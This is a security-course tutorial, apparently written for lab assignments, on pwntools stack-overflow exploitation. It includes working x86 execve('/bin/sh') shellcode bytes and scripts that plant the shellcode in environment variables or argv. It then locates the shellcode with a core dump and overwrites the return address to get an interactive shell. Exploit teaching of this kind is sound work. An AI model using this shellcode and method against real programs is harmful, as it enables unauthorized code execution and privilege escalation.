# candl: Shellcoding with [pwntools]
**Objectives:**
:::info
1. Learn how to put your shellcode
2. Learn how to find your shellcode in the memory
3. Learn how to connect to the shell after exploiting the Vulnerability
:::
Related assignments: *stack-ovfl-sc*, *stack-ovfl-sc-envp*,
*stack-ovfl-sc-no-envp*, *stack-ovfl-sc-no-envp-no-argv*, *stack-ovfl-sc-where*
FYI, please refer to [the document of pwntools][pwntools] if you do not know how to use it:
We will start with a script like following:
```python=
from pwn import *
# Please replace with your shellcode
SHELLCODE="j2X\xcd\x80\x89\xc3\x89\xc1jGX\xcd\x80j\x0bX\x99\x89\xd1Rhn/shh//bi\x89\xe3\xcd\x80"
SHELLCODE2="\x90j2X\xcd\x80\x89\xc3\x89\xc1jGX\xcd\x80j\x0bX\x99\x89\xd1Rhn/shh//bi\x89\xe3\xcd\x80"
```
`SHELLCODE` is for putting that as an environment variable, and`SHELLCODE2` is for putting that as a program's argument.
## Putting shellcode on the stack
In the stack, there are many places that you can store your shellcode, but let's
focus on the following three places:
* Environment variable
* The program's argument vector
* Program name
To set an environment variable, you can create a dictionary as follows:
```python
{ "NAME_OF_VARIABLE" : "VALUE"}
```
So we can set the shellcode as a `SHELLCODE` env variable.
```python
# prepare a env
env = {
'SHELLCODE' : SHELLCODE,
}
```
To pass that into the target program, you can execute the process as follows:
```python
# pass the env!
p = process("./stack-ovfl-sc-32", env=env)
```
Or, if you want to put your shellcode as an argument vector, then
you can set that as follows:
```python
# prepare the program name and args
argv = [
"unit3/stack-ovfl-sc-32", # program path first
SHELLCODE2, # shellcode!
"THE THIRD ARGUMENT IF YOU WANT TO PUT MORE",
"etc."
]
p = process(argv)
```
To check the address of the shellcode on the stack,
we will first generate the core dump of the process and read it as a
Corefile object.
Let's run the following steps:
```python
# generate a core dump first
# remove core if exists
if os.path.exists("core"):
os.unlink('core')
# Open a process
# See http://docs.pwntools.com/en/stable/tubes/processes.html for
# more options/functions to use
p = process(argv, env=env)
# this will generate a crash and also create a core dump file
p.sendline(cyclic(512))
p.wait()
```
This will remove the existing corefile first, then run a process, and then
supply a long input (cyclic(512)) that will make the program crash with SIGSEGV.
After that, you can open the Coredump file as follows:
```python
# See http://docs.pwntools.com/en/stable/elf/corefile.html for
# more information for controlling the Coredump class
# Get the core dump
core = Coredump('./core')
```
With this object, you can observe several interesting things of the process:
```gdb
[*] 'core'
Arch: i386-32-little
EIP: 0x6261616b
ESP: 0xffffdd30
Exe: 'unit3/stack-ovfl-sc-32' (0x8048000)
Fault: 0x6261616b
# see registers
print core.registers
{
'xds': 43,
'eip': 1650549099,
'xss': 43,
'esp': 4294958384,
'xgs': 99,
'edi': 4160450560,
'orig_eax': 4294967295,
'xcs': 35,
'eax': 0,
'ebp': 1650549098,
'xes': 43,
'eflags': 66118,
'edx': 4160456816,
'ebx': 1650549097,
'xfs': 0,
'esi': 4160450560,
'ecx': 2147483385
}
# see maps
print core.maps
8048000-8049000 r-xp 1000 unit3/stack-ovfl-sc/stack-ovfl-sc-32
8049000-804a000 r-xp 1000 unit3/stack-ovfl-sc/stack-ovfl-sc-32
804a000-804b000 rwxp 1000 unit3/stack-ovfl-sc/stack-ovfl-sc-32
804b000-806c000 rwxp 21000
f7e06000-f7e07000 rwxp 1000
f7e07000-f7fb4000 r-xp 1ad000 /lib32/libc-2.23.so
f7fb4000-f7fb5000 ---p 1000 /lib32/libc-2.23.so
f7fb5000-f7fb7000 r-xp 2000 /lib32/libc-2.23.so
f7fb7000-f7fb8000 rwxp 1000 /lib32/libc-2.23.so
f7fb8000-f7fbb000 rwxp 3000
f7fd4000-f7fd5000 rwxp 1000
f7fd5000-f7fd8000 r--p 3000
f7fd8000-f7fda000 r-xp 2000 [vdso]
f7fda000-f7ffc000 r-xp 22000 /lib32/ld-2.23.so
f7ffc000-f7ffd000 r-xp 1000 /lib32/ld-2.23.so
f7ffd000-f7ffe000 rwxp 1000 /lib32/ld-2.23.so
fffdd000-ffffe000 rwxp 21000 [stack]
# see mappings
print core.mappings
[
Mapping('unit3/stack-ovfl-sc/stack-ovfl-sc-32', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5),
Mapping('unit3/stack-ovfl-sc/stack-ovfl-sc-32', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x5),
Mapping('unit3/stack-ovfl-sc/stack-ovfl-sc-32', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x7),
Mapping('', start=0x804b000, stop=0x806c000, size=0x21000, flags=0x7),
Mapping('', start=0xf7e06000, stop=0xf7e07000, size=0x1000, flags=0x7),
Mapping('/lib32/libc-2.23.so', start=0xf7e07000, stop=0xf7fb4000, size=0x1ad000, flags=0x5),
Mapping('/lib32/libc-2.23.so', start=0xf7fb4000, stop=0xf7fb5000, size=0x1000, flags=0x0),
Mapping('/lib32/libc-2.23.so', start=0xf7fb5000, stop=0xf7fb7000, size=0x2000, flags=0x5),
Mapping('/lib32/libc-2.23.so', start=0xf7fb7000, stop=0xf7fb8000, size=0x1000, flags=0x7),
Mapping('', start=0xf7fb8000, stop=0xf7fbb000, size=0x3000, flags=0x7),
Mapping('', start=0xf7fd4000, stop=0xf7fd5000, size=0x1000, flags=0x7),
Mapping('', start=0xf7fd5000, stop=0xf7fd8000, size=0x3000, flags=0x4),
Mapping('[vdso]', start=0xf7fd8000, stop=0xf7fda000, size=0x2000, flags=0x5),
Mapping('/lib32/ld-2.23.so', start=0xf7fda000, stop=0xf7ffc000, size=0x22000, flags=0x5),
Mapping('/lib32/ld-2.23.so', start=0xf7ffc000, stop=0xf7ffd000, size=0x1000, flags=0x5),
Mapping('/lib32/ld-2.23.so', start=0xf7ffd000, stop=0xf7ffe000, size=0x1000, flags=0x7),
Mapping('[stack]', start=0xfffdd000, stop=0xffffe000, size=0x21000, flags=0x7)
]
# see environment variables
print core.env
{'SHELLCODE': 4294959001}
# see program arguments
print core.argv
[4294958847, 4294958906, 4294958943, 4294958986]
# see stack mapping
print core.stack
```
## how to get the address of shellcode?
### Environment variables
From the environment variables, you can just query the `Corefile.env` with the
name that you gave for the shellcode. In the case of this example,
```python
# from env; get the exact address of the SHELLCODE env variable
addr = core.env['SHELLCODE']
print("Shellcode address from env: %08x" % addr)
```
This will give you the address of shellcode (in a 4 byte integer value).
```python
-> Shellcode address from env: ffffdf99
```
## Argument vector
The argument vector that this example puts to the program is as follows:
```python
argv = [
"unit3/stack-ovfl-sc/stack-ovfl-sc-32", # program path first
SHELLCODE2, # shellcode!
"THE THIRD ARGUMENT IF YOU WANT TO PUT MORE",
"etc."
]
```
The 2nd argument will be the SHELLCODE2.
```python
# from argv; get the exact address of the 2nd argument vector
addr = core.argv[1]
print "Shellcode2 address from argv: %08x" % addr
-> Shellcode2 address from argv: ffffdf3a
```
### Find string from the stack
You can actually find the string by the value. Instead of using core.env or
core.argv, you can find your shellcode by running core.stack.find():
```python
# from stack; find the string value (the string in the SHELLCODE variable)
addr = core.stack.find(SHELLCODE)
print("Shellcode address from stack: %08x" % addr)
-> Shellcode address from stack: ffffdf3b
# from stack; find the string value (the string in the SHELLCODE2 variable)
addr = core.stack.find(SHELLCODE2)
print "Shellcode2 address from stack: %08x" % addr
-> Shellcode2 address from stack: ffffdf3a
```
### Running shellcode
Let's use your shellcode to run a shell in the program and connect to it.
Assume that we have stored the address of shellcode in the variable 'addr'.
Let's open a process with our argv and env.
```python
# Open a process
p = process(argv, env=env)
```
To supply our address to the program, we must use `p32(addr)` (or `p64(addr)`
for a 64-bit program) because the addr is an integer address value. We need to
change that as a string using either p32() or p64().
```python
# prepare an exploit string
exploit_string = p32(addr) * 100
```
Before running the exploit, you can store your current exploit string as a TEXT
file to use it for debugging.
```python
# Print your exploit as a txt file.
# You can use this in gdb, e.g.,
# pwndbg$ r < exploit.txt
with open("exploit.txt", "wb") as f:
f.write(exploit_string)
```
After that, let's send the string to the program.
```python
# send the exploit
p.sendline(exploit_string)
```
This will invoke the shell, however, just doing so will do nothing. You might
want to deliver your command from your hand to exploited shell. The following
function will open a pipe from current STDIN to STDIN of spawned shell, and also
from the STDOUT of the shell to the current STDOUT, vice versa.
```python
# get an interactive pipe
print p.interactive()
```
Have fun!
###### tags: `candl`,`shellcode`,`bof`
----
[pwntools]:http://docs.pwntools.com/en/stable/index.html